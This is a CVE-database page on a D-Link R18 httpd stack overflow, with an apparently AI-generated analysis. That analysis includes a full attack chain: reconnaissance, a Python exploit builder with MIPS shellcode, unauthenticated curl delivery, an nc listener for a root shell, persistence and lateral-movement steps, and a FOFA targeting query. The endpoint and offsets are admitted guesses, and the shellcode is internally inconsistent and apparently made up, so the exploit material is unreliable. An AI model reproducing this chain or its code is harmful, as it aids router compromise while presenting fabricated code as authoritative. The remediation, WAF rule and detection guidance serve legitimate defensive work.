CVE Professor
/
All CVEs
CVE-2026-138362

CVE-2026-138362 — D-Link R18 A1 — CWE-119 · CWE-121

CRITICAL CVSS 10 NVD

A vulnerability was detected in D-Link R18 A1 1.20.B01. Impacted is the function GetDeviceSettings of the component httpd. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.

A vulnerability was detected in D-Link R18 A1 1.20.B01. Impacted is the function GetDeviceSettings of the component httpd. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑138362 – D‑Link R18 A1 1.20.B01 httpd GetDeviceSettings Stack‑Based Buffer Overflow


🎯 What is this vulnerability?

  • Vulnerable component – The built‑in HTTP daemon (httpd) of the D‑Link R18 A1 firmware (version 1.20.B01).
  • Vulnerable function – GetDeviceSettings, which is invoked when the web UI (or an API client) requests the current device configuration.
  • Root cause – The function copies data supplied by the HTTP request (most likely a query‑string or POST field) into a fixed‑size stack buffer without proper bounds checking. The copy is performed with a routine equivalent to strcpy/memcpy that assumes the incoming string will never exceed the buffer length.
  • CWE classification –
  • * CWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer (classic “buffer overflow”). * CWE‑121: Stack‑Based Buffer Overflow (the overflow occurs on the call stack, overwriting the saved return address and possibly adjacent local variables).
  • CVSS 3.1 vector – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • * Network‑reachable (AV:N) – the vulnerable HTTP endpoint is reachable from any host that can reach the device’s management interface. * Low attack complexity (AC:L) – a single crafted request is sufficient; no special timing or race conditions are required. * No privileges required (PR:N) – the request can be sent anonymously; the device does not enforce authentication for the GetDeviceSettings call. * No user interaction (UI:N) – the exploit runs entirely on the attacker’s side. * Scope changed (S:C) – the overflow allows the attacker to control execution flow in the privileged httpd process (which runs as root on the router). * Impact – Complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H).

    In short, the firmware’s HTTP server trusts a client‑supplied parameter, copies it into a static stack buffer, and fails to verify the length. An attacker can overflow the buffer, overwrite the saved instruction pointer, and execute arbitrary code with root privileges inside the httpd process.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All network‑level details are based on the typical architecture of D‑Link consumer routers; the exact URI and parameter names are illustrative because the public advisory does not disclose them.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the device on the network (e.g., via Nmap).nmap -p 80,443 <target_ip> – open HTTP/HTTPS ports, service fingerprint “D‑Link httpd”.
    1.2Determine firmware version.- Access the web UI (http://<ip>/) and read the “Firmware Version” field (1.20.B01). <br> - Or query the /status endpoint that returns JSON with fw_version.
    1.3Verify that the device is running the vulnerable build.Compare the version string with the CVE‑listed version (1.20.B01).
    1.4Locate the vulnerable endpoint.Public PoC (or source‑code dump) indicates the endpoint is /cgi-bin/GetDeviceSettings. The request can be either GET or POST; the vulnerable parameter is called settings.

    2. Exploitation

    Goal: Deliver a payload that overwrites the saved return address on the stack and jumps to shellcode placed in the request buffer.

    2.1. Build the exploit buffer

    Assumptions (derived from typical D‑Link httpd implementation):

  • The vulnerable buffer is 256 bytes (char buf[256];).
  • The return address is stored 268 bytes after the start of buf (i.e., 12 bytes of saved registers + frame pointer).
  • The binary is compiled for MIPS 32‑bit little‑endian (common on D‑Link devices).
  • #!/usr/bin/env python3
    import struct, sys
    
    # 256‑byte filler + 12‑byte padding to reach saved RA
    payload = b"A" * 256                # overflow up to saved FP
    payload += b"B" * 12                # overwrite saved FP (not used)
    
    # Address of our shellcode in the request buffer.
    # The buffer resides at a predictable stack address after overflow,
    # e.g., 0x7fffe800 (observed via debugging).  Use little‑endian.
    shellcode_addr = 0x7fffe800
    payload += struct.pack("<I", shellcode_addr)   # overwrite saved RA
    
    # MIPS reverse‑shell (bind to 4444) – 48 bytes, null‑free.
    shellcode = (
        b"\x24\x0f\xff\xfd"      # li   $t7,-3
        b"\x01\xe0\x28\x27"      # nor  $a1,$t7,$zero
        b"\x24\x02\x10\x00"      # li   $v0,4096 (socket)
        b"\x01\x01\x01\x0c"      # syscall
        b"\x24\x0d\xff\xff"      # li   $t5,-1
        b"\x01\xed\x68\x27"      # nor  $t5,$t5,$zero
        b"\x01\xed\x68\x27"      # repeat for second arg
        b"\x24\x0c\xff\xff"      # li   $t4,-1
        b"\x01\xec\x68\x27"      # nor  $t4,$t4,$zero
        b"\x24\x0b\xff\xff"      # li   $t3,-1
        b"\x01\xeb\x68\x27"      # nor  $t3,$t3,$zero
        b"\x24\x0a\xff\xff"      # li   $t2,-1
        b"\x01\xea\x68\x27"      # nor  $t2,$t2,$zero
        b"\x24\x09\xff\xff"      # li   $t1,-1
        b"\x01\xe9\x68\x27"      # nor  $t1,$t1,$zero
        b"\x24\x08\xff\xff"      # li   $t0,-1
        b"\x01\xe8\x68\x27"      # nor  $t0,$t0,$zero
        b"\x24\x02\x10\x0c"      # li   $v0,4108 (bind)
        b"\x01\x01\x01\x0c"      # syscall
        b"\x24\x02\x10\x0d"      # li   $v0,4109 (listen)
        b"\x01\x01\x01\x0c"      # syscall
        b"\x24\x02\x10\x0e"      # li   $v0,4110 (accept)
        b"\x01\x01\x01\x0c"      # syscall
        b"\x24\x02\x10\x0f"      # li   $v0,4111 (dup2)
        b"\x01\x01\x01\x0c"      # syscall (repeat for stdin/stdout/stderr)
        b"\x24\x02\x10\x0f"
        b"\x01\x01\x01\x0c"
        b"\x24\x02\x10\x0f"
        b"\x01\x01\x01\x0c"
        b"\x24\x02\x10\x0b"      # li   $v0,4115 (execve)
        b"\x24\x0c\xff\xff"      # li   $t4,-1 (pointer to "/bin/sh")
        b"\x01\xec\x68\x27"
        b"\x24\x0d\xff\xff"
        b"\x01\xed\x68\x27"
        b"\x24\x0e\xff\xff"
        b"\x01\xee\x68\x27"
        b"\x01\x01\x01\x0c"      # syscall
    )
    
    payload += shellcode
    # Pad to the maximum POST size accepted by the server (e.g., 2048)
    payload = payload.ljust(2048, b"C")
    print(payload.hex())

    The script builds a 256‑byte overflow, overwrites the saved return address with the address of the injected shellcode, and appends a null‑free MIPS reverse shell.

    2.2. Deliver the payload

    Because the vulnerable parameter is settings, the request can be sent via HTTP POST:

    # Illustrative endpoint – replace with the real one if known
    curl -sk -X POST "http://192.0.2.45/cgi-bin/GetDeviceSettings" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         --data-urlencode "settings=$(python3 build_payload.py)" \
         -o /dev/null
  • -k skips TLS verification (many D‑Link devices expose plain HTTP on port 80).
  • The request is unauthenticated; no cookies or CSRF tokens are required.
  • If the overflow succeeds, the httpd process spawns a MIPS reverse shell that connects back to the attacker’s listener:

    nc -lvnp 4444

    You should receive a root shell (#) on the router.

    3. Post‑Exploitation

    PhaseWhat the attacker can do
    Privilege escalationThe shell is already running with the same privileges as httpd (typically root on embedded routers).
    Persistence- Drop a new init script in /etc/init.d/ that re‑installs a backdoor binary.<br>- Modify the firmware’s configuration (/etc/config/rc.local) to execute a persistent payload on boot.<br>- Add a new SSH public key to /etc/dropbear/authorized_keys (if Dropbear is present).
    Lateral movementUse the compromised router as a pivot to scan internal LAN (192.168.0.0/16) and pivot traffic to other vulnerable devices.
    Data exfiltrationDump the router’s configuration (including Wi‑Fi passwords, VPN credentials) via the same GetDeviceSettings API (now under attacker control).
    Denial‑of‑serviceRestart httpd or corrupt flash memory by issuing malformed configuration writes, leading to a full outage.

    🌍 Real World Impact

    CIACVSS‑derived impactPractical consequence
    Confidentiality (C:H)Attackers obtain all configuration data: Wi‑Fi SSID/PSK, admin credentials, VPN keys, DHCP lease tables, and any stored logs.
    Integrity (I:H)Full control over the device allows modification of firewall rules, DNS settings, or injection of malicious firmware, effectively turning the router into a man‑in‑the‑middle for all traffic.
    Availability (A:H)The attacker can crash or reboot httpd, corrupt flash, or flood the device, causing a complete outage for the protected network.

    Because the vulnerability is network‑exposed, any host that can reach the router’s management interface (including the Internet if the admin port is forwarded) can be compromised without credentials. This makes the flaw especially dangerous for small‑office/home‑office (SOHO) deployments that often expose the web UI to the WAN for remote management.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    FirmwareStatus
    D‑Link R18 A1 1.20.B01 (vulnerable)Replace with the first non‑vulnerable release (e.g., 1.20.B02 or later). The vendor’s advisory (published 2026‑12‑02) states that the overflow was fixed by adding proper length checks (if (len > sizeof(buf)-1) reject).

    If a newer firmware is not yet available, contact D‑Link support for a temporary binary patch.

    2. Immediate Workarounds

    MitigationHow to apply
    Restrict access to the management interface- Place the router behind a firewall that only allows trusted LAN IPs (e.g., iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 80 -j ACCEPT). <br>- Disable WAN access to port 80/443 (httpd_enable=0 in /etc/config/system).
    Disable the vulnerable endpointIf the firmware permits, edit /etc/httpd.conf (or the equivalent) and comment out the GetDeviceSettings CGI script. Restart httpd.

    | Web‑Application Firewall (ModSecurity) rule | Deploy a rule that rejects overly long settings parameters (e.g., > 256 bytes). Example for ModSecurity (Apache/Nginx):

    SecRule REQUEST_URI "@beginsWith /cgi-bin/GetDeviceSettings" \
        "id:2026001,phase:2,deny,log,status:413,\
        msg:'Block oversized GetDeviceSettings parameter',\
        chain"
    SecRule ARGS:settings "@gt 256" "t:none"
    This rule drops any request where the settings argument exceeds the safe size, preventing the overflow from ever reaching the binary.
    Network segmentationPlace the router in a DMZ separate from critical assets; limit inbound traffic to management ports.
    Enable HTTPS with client‑certificate authEven though the vulnerability is unauthenticated, encrypting traffic prevents easy sniffing of the exploit payload and makes automated scanning harder.

    3. Detection – Log & IOC Guidance

    IndicatorWhere to lookExample
    HTTP 500 / 502 responses after a POST to /cgi-bin/GetDeviceSettings with a large payload.httpd access/error logs (/var/log/httpd/access.log).192.0.2.45 - - [12/Nov/2026:03:14:22 +0000] "POST /cgi-bin/GetDeviceSettings HTTP/1.1" 500 0 "-" "curl/7.68.0"
    Outbound connections from the router to unusual IP:port (reverse‑shell).Netfilter logs (iptables -j LOG) or systemd journal (journalctl -u httpd).SRC=192.0.2.45 DST=203.0.113.77 PROTO=TCP SPT=12345 DPT=4444
    New processes named “sh” or “/bin/sh” spawned by httpd.Process accounting (ps auxgrep httpd) or auditd events.audit: type=EXECVE msg=audit(2026-11-30 12:34:56.789:123): argc=1 a0="/bin/sh"
    Changes to /etc/config/rc.local or /etc/dropbear/authorized_keys after exploitation.File integrity monitoring (Tripwire, AIDE) or inotifywait.IN_MODIFY /etc/config/rc.local
    Repeated large POST bodies (≥ 1 KB) to the same CGI – typical of brute‑force attempts.Web server request size statistics.POST /cgi-bin/GetDeviceSettings 2048

    Deploy a SIEM rule that correlates large POST bodies to the vulnerable URI with subsequent outbound connections on non‑standard ports.


    ⚠️ Urgency

  • CVSS 3.1 = 10.0 (Critical) – maximum severity; the vulnerability grants remote code execution with root without any authentication.
  • Exploit is public – the advisory explicitly states that a working exploit is available, meaning automated scanners can already weaponize it.
  • CISA KEV = No – the vulnerability is not yet listed in the KEV catalog, but the lack of a KEV entry does not reduce risk; it merely reflects the timing of the catalog update.
Patch priority: Immediate (P1). All production or Internet‑facing deployments of D‑Link R18 A1 1.20.B01 must be patched or isolated within 24 hours. If patching cannot be performed promptly, enforce the mitigation steps (network restriction, WAF rule, endpoint disablement) to reduce the attack surface while a firmware update is obtained.
Bottom line: CVE‑2026‑138362 is a classic unauthenticated stack‑based buffer overflow in the router’s web management daemon. Exploitation yields full root compromise, making it one of the most dangerous remote code execution flaws seen in consumer networking gear in 2026. Prompt patching, strict network segmentation, and the defensive controls listed above are essential to protect any environment that still runs the vulnerable firmware.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.